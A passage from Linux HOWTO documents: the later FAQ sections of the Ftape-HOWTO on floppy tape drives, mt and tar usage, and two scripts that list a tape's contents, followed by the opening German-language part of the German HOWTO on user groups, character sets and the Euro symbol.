would result in a backup of all files under /bin and /etc. When the first tar finishes, the kernel driver will take care of writing a file mark to the tape at the the current tape position, and when the second tar process has finished, another file mark is written to the tape cartridge at that position.

Now, the sense of those file marks is, that it is possible to skip between different archives on the tape more quickly than would be possible with reading the data back.

The commands to do that are:

mt fsf

fast skip to the next file mark towards EOT (End Of Tape)

mt bsf

fast skip to the next file marks towards BOT (Begin Of Tape)

Thus, to extract the second archive in the example above, one doesn't need to read the first archive back, but can proceed as follows:
mt -f /dev/nqft0 rewind
mt -f /dev/nqft0 fsf
tar -xvf /dev/nqft0

<Answer from Claus Heine>

11.22 What exactly is the difference between ftape, and zftape?

When Ftape was young there were two versions of the floppy tape driver, one of them was called zftape because of its built-in user-transparent on-the-fly compression. Whether such a thing is a feature or a bug ('cause this needn't be done in kernel space) is another question. However, the ioctl interface and file mark handling provided by zftape was much better and had less bugs. And zftape allows to use floppy tape cartridges with different OS. Well, you can't exchange data, but zftape won't overwrite volumes created by your Windoze program, and vice versa.

Nowadays, Ftape is name of the entire floppy tape driver package AND ftape.o is the file-name of the kernel module that implements the low-level hardware support. zftape has ceased to exist as a separate package, but the new Ftape versions (since ftape-3.00) contain a zftape.o module that needs to be loaded on top of ftape.o (i.e. you need to load BOTH modules to be able to access your floppy tape drive) and implements the file system interface and the advanced (?) features of the previous verions zftape.

<Answer from Claus Heine>

11.23 What is the difference between a rewinding, and non rewinding drive?

Well, the rewinding tape devices rewind the tape to BOT (Begin Of Tape) when the device is closed, i.e.

tar -cvf /dev/qft0 /bin
will rewind the tape cartridge when the tar job has finished. In contrast,
tar -cvf /dev/nqft0 /bin
will NOT rewind the tape cartridge and leave the tape R/W head at its current position.

Rewinding devices should be used when performing a single backup, non-rewinding devices can be useful when doing multiple backups as one doesn't need to space to EOM (End Of recorded Media) before appending another archive.

Non-rewinding devices MUST be used when sending any of the tape motion command to the tape drive, such as

mt -f /dev/nqft0 fsf
, because when the mt process finishes then the tape device is closed which would result in rewinding the cartridge with the rewinding devices.

<Answer from Claus Heine>

11.24 Can someone tell me how to use mt to rewind my TR-3 drive one record using zftape record, so I can verify it?

Well, it depends. If the tape is still positioned inside the volume just written, "mt bsf 1" (or equivalently "mt bsf") will backspace just to the beginning of that volume (this is how "tar --verify" works). If the tape is already positioned AFTER the filemark that marks the end of the last written volume, then you need to issue "mt bsf 2"

The logic behind this is as follows: "MTBSF count" backspaces over count file marks, stops, and then positions on the EOT side of the last skipped file mark. This means, an "mt bsf 2" will position right at the beginning of the previous volume.

<answer form Claus Heine>

11.25 By non-rewinding, they mean that it doesn't automatically rewind, correct? It doesn't mean that under no circumstances it will rewind, right? I tried using /dev/zqft0, and it instantly rewinds the tape.

You are right: auto-rewind means, the tape is rewound when the tape device is closed, non-rewinding means, the tape isn't automatically rewound when the tape device is closed (but you can, of course, use the tape motion commands BSF/FSF etc. to position the tape head at every position you like).

<answer form Claus Heine>

11.26 What is the difference between what mt considers a record and what it considers a file?

A record is the minimal amount of bytes that will be accepted by the tape in one read/write operation (except in "variable block size mode" where it just should be the amount of data actually written in a single write operation??).

For zftape every read and write access has to be a multiple of a fixed block size (fixed, but tunable with MTSETBLK). This block size is a "tape record" (as mentioned in the GNU mt man page and defaults to 10kb for zftape.

A "file" (in the sense of the mt man page) is a, well, misleading terminus. What is meant is an area of the tape between two file marks. This is not a file like a file on the file system, in the sense that it could have a name, file access modes, could be moved or copied with cp, mv, rm etc.

Instead, It simply is the area of the tape that was recorded in one backup session, its end is marked by a tape file mark, and its beginning is delimited by either BOT or the file mark of the previous tape "file". That tape "files" are the things that can be skipped with the MTBSF/FSF commands.

<answer form Claus Heine>

11.27 Reusing tapes with zftape without reformatting the tape.

We try to answer the followong questions :

  • Is there a good way to erase, as in remove the data or at least the volumes from a tape, without reformating?
  • Can you overwrite the last volume on a tape with making a mess out of it?
  • Can you overwrite the last several volumes without making a mess?
  • Can you delete the last volume?

If you want to "erase" an entire cartridge, then simply do:

mt -f /dev/qft0 erase

This will erase the volume table (i.e. the "file marks").

Pre-ftape-3.x releases of zftape and ftape used to allow overwriting of already existing volumes on a cartridge. I have removed this feature as it was reported that it already has caused data-loss with some backup programs.

If you indeed need to remove some volumes on the tape then you should use the

vtblc

program that comes with the ftape-tools package which can be down-loaded from the same locations as the ftape kernel driver package. Please refer to the documentation which is contained in the ftape-tools package for more information.

If you simply want to reuse old tapes, then it suffices to do

mt rewind

If the tape is at BOT (Begin Of Tape) then every write access to the tape will silently erase all file marks and overwrite the data already existing on the tape.

<answer by Claus Heine>

11.28 This script implements a simple contents listing for the zftape package using the "MTIOCVOLINFO" ioctl.

Here is as little perl/bash script that lists the contents of a cartridge using the zftape specific "volinfo" ioctl. Hope this shows how to handle this kind of stuff.

What it basically does is the following:

  1. Rewind the cartridge
  2. Issue the volinfo command:
       claus@thales:~$ mt volinfo
   file number          = 1
   block size           = 10240
   physical space used  =  522.0 kilobytes
   real size of volume  =  520.0 kilobytes
    Parse the ouput and place the values in appropriate variables
  3. Skip to the next volume with "mt fsf"
  4. Exit if this gives an error (EOD), otherwise "goto 2)"

The Perl Script

#!/usr/bin/perl
#
#     Copyright (C) 1997 Claus-Justus Heine
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2, or (at your option)
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; see the file COPYING.  If not, write to
# the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA.
#
#   This script implements a simple contents listing for the zftape
#   package using the MTIOCVOLINFO ioctl.
#

$version = <<EOT;
listtape-1.0 -- a perl script to list the contents of a floppy tape cartridge
under Linux using the zftape driver

RCS \$Revision: 1.2 $
RCS \$Date: 1998/08/30 13:44:03 $
EOT

$tapedev = "/dev/tape";
$usage = <<EOT;
Usage: listtape [options ...]

Mandatory or optional arguments to long options are mandatory or optional
for short options too.

-f, --file=FILE       Tape device to use. Default is  "/dev/tape".
-h, --help            Print this help.
-?                    Same as '-h'.
--usage           Same as '-h'.
-V, --version         Print version information.

Author: Claus-Justus Heine <claus\@momo.math.rwth-aachen.de>
EOT

while ($ARGV[0] =~ /^-/) {
$_ = shift;
if (/--file/) {$_ = shift; $tapedev = $_; next;}
if (/-f/) {$_ = shift; $tapedev = $_; next;}
if (/--help/) { print $usage; exit 0; }
if (/-h/) { print $usage; exit 0; }
if (/--usage/) { print $usage; exit 0; }
if (/-\?/) { print $usage; exit 0; }
if (/--version/) { print $version; exit 0; }
if (/-V/) { print $version; exit 0; }
die $usage;
}

&open_tape($tapedev, "status");
while(<FTMT>)
{
$online = 1 if (/.*online.*/);
}

if (! $online) { die "No cartridge present.\n"; }

&mtop($tapedev, "rewind");

printf "%11s%12s%20s%20s\n",
"file number", "block size", "volume size", "tape space";

while (1)
{
&open_tape($tapedev, "volinfo");
while (<FTMT>) {
if (/^file number\s*=\s*([0-9]*)$/) { $filenumber = $1; }
if (/^block size\s*=\s*([0-9]*)$/) { $blocksize = $1; }
if (/^physical space used\s*=\s*([[0-9]*.*)/) { $rawsize = $1; }
if (/^real size of volume\s*=\s*([[0-9]*.*)/) { $size = $1; }
}
close(FTMT);
if (&mtop($tapedev, "fsf 1") != 0) {
&mtop($tapedev,"rewind");
print "\nRemaining space: $rawsize\n";
print "Tape block size: $blocksize\n";
exit 0;
}
printf "%6d          %5d  %20s%20s\n",
    $filenumber, $blocksize, $size, $rawsize;
}

sub mtop
{
local ($tape, $operation) = @_;
local ($exitval);
system "ftmt -f $tape $operation > /dev/null 2>&1";
}

sub open_tape
{
local ($tape, $operation) = @_;
local ($command);

$command = "ftmt -f " . $tape . " " . $operation . " |";
open(FTMT, $command) || die "Couldn't open $command -- $!\n";
}

The Bash Script

#! /bin/bash
#
#     Copyright (C) 1997 Claus-Justus Heine
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2, or (at your option)
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; see the file COPYING.  If not, write to
# the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA.
#
#   This script implements a simple contents listing for the zftape
#   package using the MTIOCVOLINFO ioctl.
#

#
# insert better option parsing here
#
TAPEDEV=${1-/dev/tape}

if ! echo $TAPEDEV | grep "/dev/n"
then
TAPEDEV=/dev/n$(basename $TAPEDEV)
fi

if ! [ -c $TAPEDEV ]
then
echo $TAPEDEV is not a character device!  1>&2
exit 1
fi

if ! mt -f $TAPEDEV rewind
then
echo Could not rewind $TAPEDEV - no cartridge present?  1>&2
exit 1
fi

echo -e "\nContents of $TAPEDEV:\n"

printf "%11s%12s%20s%20s\n" "file number" "block size" "volume size" "tape space"

trap "rm -f /tmp/$0.$$" exit

while true
do
if ! foo=$(mt -f $TAPEDEV volinfo |cut -f 2 -d =)
then
echo $TAPEDEV doesn\'t seem to be a floppy tape device 1>&2
exit 1
fi
#
# "echo foo | read foo" will not work as the "read foo" is executed in
# another shell.
#
echo $foo > /tmp/$0.$$
read file blksz used usedunit size sizeunit < /tmp/$0.$$
if ! mt -f $TAPEDEV fsf 1 > /dev/null 2>&1
then
echo -e "\nRemaining space: $used $usedunit"
echo -e "Tape block size: $blksz"
if ! mt -f $TAPEDEV rewind
then
    echo Rewind of $TAPEDEV failed 1>&2
    exit 1
fi
exit 0
fi
printf "%6d          %5d  %20s%20s\n"\
$file $blksz "$size $sizeunit" "$used $usedunit"
done

<answer from Claus Heine>


Ftape-HOWTO: FAQ: "Tape and Drivers" related questions !

 Next Previous Contents

12. FAQ: "Tape and Drivers" related questions !

12.1 What are good makers of Travan tapes?

I was the UNIX Product Manager at Archive Corp (Prior to the Conner/Seagate mess) and we performed extensive tests of tape media for compatibility certification, including retentivity, flaking and length consistancy. Based on the results of the tests, we selected the best of these certified manufacturers' products to private label as our own media. Here is the order in which we selected vendors up through 1995 (when I lost contact with the ATI group):

QIC

  1. 3M (now known as Imation)
  2. QMaxell/Sony (tie)
  3. (BTW - Iomega uses Sony private-labelled media)
4MM

  1. Fuji
  2. Maxell/Sony (tie - is this a trend?)
8MM

  1. Fuji/Exabyte - which we believed to be OEM'd Fuji (tie - so much for trend!)
  2. Sony
  3. Maxell
DLT

  1. Maxell
  2. Sony

Otherwise, we had entries in our search from other vendors which were generally a private-labelled version of one of the major labels above. The exceptions were Verbatim and DIC. Both of these manufacturer's media had fall-out rates and length discrepancies that were so high that we would not certify them and even warned customers about them indicating that we could not offer any sort of guarantee that they would get a good backup using the media from these manufacturers.

In addition, since coming to EST, I've found that Verbatim media is still not worth the money saved in purchasing it. We have 11 of their TR-Extra and QIC-Extra (QICXL) tapes that were useless after fewer than 20 passes each.

While this is my personal opinion, it is based on over 9 years of experience with this very question, I strongly recommend Imation/3M media for QIC/Travan user, Fuji media 4MM users, Exabyte/Fuji for 8MM and DEC labelled media for DLT users.

<answer from Tim Jones>

12.2 Where can I obtain the QIC standards?

If you wish to help developing Ftape, or add some utility (e.g. a tape formatting program), you will need that appropriate QIC standards. The standard(s) to get is: QIC-80, -117, -3010, and 3020. QIC-117 describes how commands are sent to the tape drive (including timing etc), so you would probably never need it. QIC-80/3010/3020 describes higher level part, such as tape layout, ECC code, standard filesystem. You can get the QIC standards from the following address:

Quarter Inch Cartridge Drive Standards, Inc.
311 East Carrillo Street
Santa Barbara, California 93101
Phone: (805) 963-3853
Fax:   (805) 962-1541

Note: They are registered as `Freeman Associates, Inc' in the phone book.

<from the Ftape-Howto>

12.3 Is the Iomega Ditto 2GB drive supported?

Yes, if you are using version ftape-3.x or later of the Ftape drivers from the Ftape Home Page or from ftp://sunsite.unc.edu/pub/Linux/kernel/tapes.

<answer from Tim Jones>

As the Ditto 2GB is a Tr-3 tape (though it can only store 1GB instead of the 1.6GB you get with a regular Tr-3 drive) you need an FDC (FDC means: Floppy Disk Controller) that is capable of at 1Mbit/sec transfer rate. You don't need to worry about this if you have an accellerator card (i.e. the Ditto Dash controller). Otherwise try to purchase an FDC that claims to be capable of driving 2.88Mb floppies because this implies that the FDC is capable of 1Mbit transfer rate.

Ftape prints the maximum data rate of the FDC to the kernel log files like this:

ftape-ctl.c (ftape_init_drive) - Highest FDC supported data rate: 500 Kbps.

<answer from Claus Heine>

12.4 Is the Iomega Ditto Max drive supported?

Yes, if you are using version ftape-4.02 or later of the Ftape drivers from the Ftape Home Page or from ftp://sunsite.unc.edu/pub/Linux/kernel/tapes.

<answer from Claus Heine>

12.5 Is the Iomega Ditto Max Pro drive supported?

Yes. But if you want to use the 5GB (10GB with compression) cartridges you don't need it. With ftape there doesn't seem to be any difference between the Ditto Max and the Ditto Max Pro.

<answer from Claus Heine>


Ftape-HOWTO: FAQ: Miscellaneous !

 Next Previous Contents

13. FAQ: Miscellaneous !

13.1 How to subscribe to the Ftape Mailing List?

You can subscribe to that list by sending mail to

majordomo@vger.rutgers.edu
with the single line
subscribe linux-tape
in its body. Please store the answer you get from majordomo in a safe place because it contains instructions how to UNSUBSCRIBE from the mailing list.

<answer from Claus Heine>

13.2 How to un-subscribe from the Ftape Mailing List?

Send mail to

majordomo@vger.rutgers.edu
with the single line
unsubscribe linux-tape MY@EMAIL.ADDRESS
where MY@EMAIL.ADDRESS has to be replaced by the the email address that you used when subscribing to the list. Note that you must have received an email with instructions how to unsubscribe from the mailing list at the time you subscribed to it.

<answer from Claus Heine>

13.3 Links to related information.

<http://www.uwsg.indiana.edu/usai/library/backups.html>

More links wanted !!!


Ftape-HOWTO: Debugging the ftape driver

 Next Previous Contents

14. Debugging the ftape driver

14.1 The kernel/ftape crashes on me when I do `...' - is that a bug?

No, that is a feature ;‐)

Seriously, reliable software do not crash. Especially kernels do not or rather should not crash. If the kernel crashes upon you when you are running ftape, and you can show that it is ftape that is messing things up, regard it as a Bug That Should Be Fixed. Mail the details to the maintainer (<heine@math1.rwth-aachen.de>) and to the tape list.

14.2 OK, it's a bug ...ehhh... feature - How do I submit a report?

First, make sure you can reproduce the problem. Spurious errors are a pain in the ass, since they are just about impossible to hunt down :-/ This is a quick check list:

  • Kernel version, and patches applied
  • ftape version
  • tape drive model / manufacturer
  • Expansion bus type (EISA, ISA, PCI, or VL-bus)
  • What you did to expose the problem
  • What went wrong on your system.
  • Do not delete the kernel and the ftape.o file. I might want you run try some patches out or run a different test on your system.

Increase the tracing level to 4 or 5 and run the command that caused problems again (don't do it if your fear that you loose data or damage your hardware, there is absolutely no warranty for neither data loss nor hardware damage caused by ftape, remember this). Increasing the trace level beyond 5 probably doesn't make any sense as it affects the timing of the driver in a way that it doesn't work well any more. Get the tracing data from the kernel log or /proc/kmsg, depending on where you harvest your error messages. Try to look at what ftape spews out at you. It may look in-comprehensible to you at first, but you can get valuable information from the logfile. Most messages have a function name prepended, to make it easier to locate the problem. Look through the source, don't just cry ``WOLF!'', without giving it a try. If your version of the kernel (or ftape for that matter), is ``old'', when compared to the newest version of the kernel, try to get a newer (or even the newest) kernel and see if the problem goes away under the new kernel. When you post your problem report, include the information about ftape version, kernel version, expansion bus type (ISA, VL-bus, PCI or EISA), bus speed, floppy controller, and tape drive. State exactly what you did, and what happened on your system. Some people have experienced that ftape would not run in a PCI based box, but ran flawlessly in a normal ISA based 386DX machine (see section Getting PCI motherboards to work with <tt/ftape/ on PCI machines above)

Also, please think of the poor souls who actually pay the their Internet access (like me): avoid posting a (huge) log from the ftape run, without reason. Instead, you could describe the problem, and offer to send the log to the interested parties.

Send your bug report to <linux-tape@vger.rutgers.edu>. You might also want to mail the bug to <heine@math1.rwth-aachen.de>.


Ftape-HOWTO: Contributions

 Next Previous Contents

15. Contributions

The following is a list of notable folks that have contributed to ftape's HOWTO document. This is a recent addition added by someone coming in midstream. My sincerest apologies if I've inadvertently left someone important off the list. You can view anoterh attempt to collect such kind of information at Ftape's Hall of Fame

Johan De Wit <jo@correct.nl>: The maintainer of the Ftape FAQ.

Kevin Johnson <kjj@pobox.com>: The previous maintainer of the Ftape-HOWTO

Kai Harrekilde-Petersen <khp@dolphinics.no>: The previous maintainer of ftape and the HOWTO.

Andrew Martin <martin@biochemistry.ucl.ac.uk>: Many additions to the HOWTO.

Bas Laarhoven <bas@vimec.nl>: The original author of ftape.


German Howto

Winfried Trümper <me@wt.xpilot.org>

v2.0.1, 29. December 2001

Dieses Dokument enthält Tips und Informationen für deutschsprachige Linux-Anwender. (Note to English readers: this document explains the german specific aspects of Linux. The middle chapter is written in English.)

1. Deutscher Teil (German Part)

  • 1.1 Einleitung
  • 1.2 Menschen
  • 1.3 Dokumentation
  • 1.4 Zeichensätze
  • 1.5 Tastatur
  • 1.6 Zeitzone
  • 1.7 Anwendungen

2. English Part (Englischer Teil)

  • 2.1 Introduction
  • 2.2 Copyright, licence and disclaimer
  • 2.3 Availability
  • 2.4 Linux in German speaking countries
  • 2.5 Configuration
  • 2.6 Time zone

3. Fun für Dich: Denglish


German Howto: Deutscher Teil (German Part)

 Next Previous Contents

1. Deutscher Teil (German Part)

1.1 Einleitung

Die Bezeichnung Howto ist eine Zusammenschreibung von how to, was Sie mit "so mache ich..." übersetzen können. Das Linux German Howto beschreibt also wie man deutschsprachige Eigenheiten unter Linux aktiviert. Gesprochen wird es als Dschörman Hautu. Im Folgenden schreibe ich lieber vom Deutschen Sowirdsgemacht für Linux. Schon bin ich Punk.

Was sind denn nun deutsche Eigenheiten? Ledertrachten, Weisswürste, Bier und gebügelte Unterwäsche, so wie es jedem ausländischen Besucher im Bierzelt auf der CeBIT vorgemacht wird? Hm, das wären wohl eher Anpassungen, die man an sich selbst vornimmt. Aber keine Furcht, Linux lässt sich auch, dem amerikanischen Einfluss sei dank, ganz leger in Jeans beim Pizzaessen und einem Schluck Afri-Cola bedienen (für Imis: Afri-Cola wird in Köln gebraut). Auf das Thema gebügelte Unterwäsche kann ich an dieser Stelle, dem amerikanischen Einfluss sei ebenfalls gedankt, nicht weiter eingehen. Denn obwohl es hier schon spät ist, sind dort die Kinder ja noch wach. Sagt zumindest der Sowirdsgemacht-Projektleiter. Aber genug gescherzt, sonst entfernen wir uns zu weit vom Vorurteil der unfreundlichen Deutschen.

Linux wird von einer weltweiten Gemeinde von Hackern im Internet entwickelt, deren kleinster gemeinsamer Nenner für die Verständigung Englisch ist. Dagegen müssen Anwender üblicherweise in ihrer Muttersprache und mit nationalen Eigenheiten arbeiten: zum Beispiel Zeichen, Zeitzonen oder Zahlenformaten. Erfreulicherweise hat Linux eine so weite Verbreitung erfahren, dass die nationalen Märkte längst Ziele für die Linux-Distributionen geworden sind. D.h. die regionalen Anpassungen der Anwendungen und des Systems stecken in Linux weitgehend drin. In diesem Zusammenhang möchte man das KDE-Projekt erwähnen, welches auf dem Gebiet der Internationalisierung hinsichtlich Anzahl der Sprachen und Vollständigkeit der Anpassungen hohe Maßstäbe gesetzt hat. Dieser Entwicklung trägt auch das Deutsche Sowirdsgemacht Rechnung, indem der Schwerpunkt ab sofort mehr auf der Beschreibung von Grundlagen liegt.

Urheberrechte, Lizenz und Haftungsausschluss

© Winfried Trümper <me@wt.xpilot.org> 1994-2001. Alle Rechte vorbehalten.

Vertrieb und Benutzung dieses Dokuments sind unter den folgenden Bedingungen gestattet: Der Name des Autors darf nicht zur Vermarktung von Produkten verwendet werden, die auf diesem Dokument beruhen, und geänderte Versionen dieses Dokuments müssen klar als solche erkennbar sein.

Text, Abbildungen und Programme in diesem Dokument wurden mit grosser Sorgfalt erarbeitet. Trotzdem sind Fehler nicht ganz auszuschliessen. Angesichts der Komplexität und der Schnelllebigkeit heutiger Computer-Systeme kann der Autor weder die Richtigkeit noch die Anwendbarkeit der gelieferten Informationen garantieren. Kurz: Benutzung auf eigene Gefahr.

Verfügbarkeit

Linux Sowirdsgemacht-Beschreibungen füllen die Lücke zwischen Büchern und kurzen Liesmich-Dateien. Sie haben den Anspruch, einen Sachverhalt ausführlich zu erklären. Eigens zu diesen Zweck wurde vom Linux-Dokumentations-Projekt (LDP) eine umfangreiche Infrastruktur aus Autoren, Schreibwerkzeugen und Distributions-Kanälen geschaffen. Das vorliegende Sowirdsgemacht ist offizieller Teil des (LDP) und somit wie alle anderen Dokumente des LPD erhältlich. Entweder auf dessen Webseiten oder im Verzeichnis /usr/share/doc/howto/ auf der eigenen Festplatte. Daneben sind gedruckte gedruckten Zusammenstellungen verschiedener Verlage über die Buchhandlungen erhältlich.

Die neueste Version des Deutschen Sowirdsgemacht ist ausserdem über meine hauseigene Seite erhältlich.

Korrekturen und Verbesserungsvorschläge können per E-Mail an mich geschickt werden: me@wt.xpilot.org. Angebote für mehr Schleichwerbung in der Einleitungen nehme ich dort ebenfalls entgegen.

Offene Punkte

  • Korrekturlesen lassen. :)
  • Danksagungen auf den neusten Stand bringen und wieder hinzufügen
  • Quelltext in das neue docbook-Format konvertieren.

1.2 Menschen

Benutzergruppen

In vielen Städten haben sich Linux-Anwender zu sogenannten Linux User Groups (LUGs) zusammengetan. Diese Benutzergruppen sind offen für jeden und halten regelmäßige Sitzungen ab. Sie sind der ideale Treffpunkt für all diejenigen, die sich nicht nur im "Cyberspace" mit anderen Linuxern austauschen wollen. Eine übersicht befindet sich beispielsweise auf den deutschen Linux-Portalseiten.

Speziell für Frauen

Hm, ich habe bisher nur die KDE-Frauen gefunden. Gibt es noch mehr?

Vereine

Neben den lokalen LUGs gibt es auch noch die folgenden Vereine:

Der Linux-Verband richtet sich in erster Linie an Firmen-Mitglieder. Die Aktivitäten sind beachtlich und konzentrieren sich im Moment auf die Aufklärung über die Schädlichkeit von Software-Patenten.

Die German Unix User Group zielt nach Jahren der Neuorientierung derzeit wieder auf Unix-Systemadministratoren.

Kongresse

Derzeit gibt es drei grosse überregionale Veranstaltungen zu Linux in Deutschland: den LinuxTag, den Linux-Kongress und die LinuxWorld Expo. Darüber hinaus gibt es zahlreiche lokale Veranstaltungen, die in den Kalendern der Portal-Seiten zu finden sind.

Diskussionsforen

Erste Anlaufstelle für deutschsprachige Anwender ist die "Newsgroup" de.comp.os.unix.linux.infos. Dort sind weitergehende Informationen zu Linux und über die Benutzung der zugehörigen "Newsgroups" zusammengetragen. Eine gute Idee ist die Benutzung der web-basierten Archive, in denen man zu Stichworten eine Menge Antworten findet: Google-Suche: de.comp.os.linux.* oder Oft gestellte Fragen der Deutschen Linux-Diskussionsgruppen.

Internet Relay Chat (IRC)

Der IRC-Kanal #LinuxGER bietet eine Hotline zu Linux in deutscher Sprache. Über dessen hauseigene Web-Seite kann man mehr über die Welt des IRC lernen.

1.3 Dokumentation

Deutschsprachige Portalseiten zu Linux

Hier ist eine kleine Auswahl von Seiten, die schon länger existieren und auch regelmässig gepflegt werden:

Linux in Österreich

Linux in der Schweiz

Linux.de

Pro Linux

Deutsches Linux Howto Projekt (DLHP)

Das Deutsche Linux Howto Projekt (DLHP) Projekt beschäftigt sich mit der übersetzung der originalen englischsprachigen Linux Sowirdsgemacht ins Deutsche. Auf den Webseiten des Projekts kann man eine Liste aller übersetzten Sowirdsgemacht und nähere Informationen zum Projekt abrufen.

1.4 Zeichensätze

Rechner sind Geräte, die auf der Grundlage von digitalen Zahlen arbeiten. Menschen sind Wesen, die mit Zahlen und auch mit Namen arbeiten. Setzt man einen Menschen vor einen Rechner und verkauft dem Menschen den Rechner als Universalgerät, dann muss der Rechner neben den Zahlen auch mit Namen umgehen können. Dies wird mit einem Kunstgriff erreicht: Das Alfabet wird durchnummeriert, d.h. Buchstaben werden Zahlen zugeordnet, mit denen der Rechner wiederum umgehen kann. Beispiel: Der Buchstabe A hat die Nummer 65. Zeichentabelle oder Zeichensatz wird diese Zuordnung genannt. Sie listet neben den Buchstaben auch noch Symbole und Sonderzeichen auf. Der Zeichensatz ist eine rein logische Definition; erst die Schriftart bestimmt die Darstellung des Zeichensatzes auf dem Bildschirm.

Damit Dokumente zwischen Computern austauschbar sind, muss der verwendete Zeichensatz standardisiert sein. Ein früher Standard war US-ASCII, eine sehr kleine, aus 127 Zeichen bestehende Zuordnung, bei der jedes Zeichen genau 7 Bits Speicherplatz belegte. Ein Bit mehr pro Zeichen benötigt der Zeichensatz ISO-8859-1, mit dem sich die meisten mitteleuropäischen Sprachen darstellen lassen. Allerdings legen beide Zeichensätze das lateinische Alfabet zugrunde, sind also für Anwender ausserhalb von Europa oder Amerika nur begrenzt nützlich. So entstanden in den verschiedenen Regionen der Welt Zeichensätze, die wegen unterschiedlicher Zeichen mit derselben Nummer nicht miteinander verträglich sind.

Tabelle 1: Ausschnit des Zeichensatzes ISO-8859-1

"  quotedbl     '  apostrophe   `  grave        ~  asciitilde
^  asciicircum  _  underscore   !  exclam       ?  question
#  numbersign   $  dollar       %  percent      &  ampersand
|  bar          @  at           +  plus         -  minus
*  asterisk     /  slash        \  backslash    .  period
,  comma        :  colon        ;  semicolon    <  less
=  equal        >  greater      (  parenleft    )  parenright
[  bracketleft  ]  bracketright {  braceleft    }  braceright

¡  exclamdown   ¢  cent         £  sterling     ¤  currency
¥  yen          ¦  brokenbar    §  section      "  diaeresis
©  copyright    ª  ordfeminine  <  guillemotleft
¬  notsign        hyphen       ®  registered
¯  macron       °  degree       ±  plusminus    ²  twosuperior
³  threesuperior                ´  acute        µ  mu
¶  paragraph    ·  periodcentered               ¸  cedilla
¹  onesuperior  º  masculine    >  guillemotright
¼  onequarter   ½  onehalf      ¾  threequarters
¿  questiondown À  Agrave       Á  Aacute       Â  Acircumflex
Ã  Atilde       ä  Adiaeresis   °  Aring        Æ  AE
Ç  Ccedilla     È  Egrave       É  Eacute       Ê  Ecircumflex
Ë  Ediaeresis   Ì  Igrave       Í  Iacute       Î  Icircumflex
Ï  Idiaeresis   Ð  ETH          Ñ  Ntilde       Ò  Ograve
Ó  Oacute       Ô  Ocircumflex  Õ  Otilde       ö  Odiaeresis
×  multiply     Ø  Ooblique     Ù  Ugrave       Ú  Uacute
Û  Ucircumflex  ü  Udiaeresis   Ý  Yacute       Þ  THORN
ß  ssharp       à  agrave       á  aacute       â  acircumflex
ã  atilde       ä  adiaeresis   å  aring        æ  ae
ç  ccedilla     è  egrave       é  eacute       ê  ecircumflex
ë  ediaeresis   ì  igrave       í  iacute       î  icircumflex
ï  idiaeresis   ð  eth          ñ  ntild        ò  ograve
ó  oacute       ô  ocircumflex  õ  otilde       ö  odiaeresis
÷  division     ø  oslash       ù  ugrave       ú  uacute
û  ucircumflex  ü  udiaeresis   ý  yacute       þ  thorn
ÿ  ydiaeresis

Die derzeitige Lösung ist der internationale Unicode-Zeichensatz (identisch zu ISO-10646). Unicode steht für unique code und bezeichnet eindeutige Nummern von derzeit über 90.000 definierten Zeichen in einer einzigen Zuordnungstabelle. Der Prozess der Standardisierung ist weit fortgeschritten, aber noch nicht abgeschlossen. Schätzungen gehen davon aus, dass niemals mehr als ca. 2.1 Millionen (21 Bit) Zeichen definiert sein werden. Um eine ausreichende Reserve vorzuhalten, wurden die Unicode-Tabelle mit 32 Bit pro Zeichen ausgelegt, was zur Nummerierung von mehr als 4 Millarden Zeichen ausreicht. Unicode bricht also mit einer geläufigen Annahme: 8 Bit (ein Byte) pro Zeichen. Die vier Byte scheinen grosszügig dimensioniert und werfen Fragen des Speicherverbrauchs auf: Mit unserem mitteleuropäischen Zeichensatz ISO-8859-1 belegt jedes Zeichen acht Bit auf den Speichermedien (RAM, CD-ROM, Festplatte). Ohne spezielle Massnahmen belegen in Unicode dieselbem Zeichen 32 Bit, d.h. alle Speichermedien müssten für die Verwendung von Unicode vier mal so gross ausgelegt werden. Das erschien nicht durchführbar, weshalb zur effektiveren Speicherung verschiedene Unicode Bit Transformationen (UTF) eingeführt wurden: UTF-8, UTF-16 und UTF-32. Letztere Transformation ändert nichts, spart deswegen auch nichts und belegt somit in verschwenderischer Manier für jedes Zeichen konstant 32 Bit im Speicher. Erstere Transformationen (UTF-8) belegt zwischen acht und 48 Bits, je nach Standort des Zeichens in der Tabelle. Oft benötigte Zeichen (US-ASCII) stehen vorne in der Tabelle und belegen nur acht Bits, die deutschen Umlaute stehen mehr zur Mitte hin und belegen 16 Bits. Ein kleiner Nachteil von UTF-8 ist die rechenzeitintensive Transformation der Daten. Die Transformation UTF-16 liegt irgendwo zwischen dem Speicherplatzverbrauch von UTF-32 und dem Rechenzeitverbrauch von UTF-8.

Weitere Informationen zu Unicode sind direkt beim Unicode-Consortium und in der UTF-8 and Unicode FAQ for Unix/Linux (engl.) zu finden.

Das Euro-Symbol

Das ISO Währungs-Kürzel für den Euro ist EUR, wie man es von den Überweisungs-Formularen der Banken schon kennt. Die Schreibweise EUR 10,23 für 10 Euro und 23 Cent ist gleichberechtigt mit der Verwendung des speziellen Währungs-Symbols ¤ (E mit zusätzlichem Mittelstrich). Falls das Euro-Symbol eher wie ein mechanischer Wecker aussieht, dann verwenden Sie noch die alten Schriftarten. In diesem Fall sollten Sie Ihre Linux-Distribution aktualisieren, denn ein Austausch aller denkbaren Schriftarten geht weit über die Möglichkeiten dieses Sowirdsgemacht hinaus. (Schriftarten waren schon immer ein Problem unter Linux, was das Euro-Symbol nur bestätigt.) Ob sich eine Aktualisierung angesichts des robusteren ISO-Kürzels EUR überhaupt lohnt, müssen Sie selbst entscheiden.

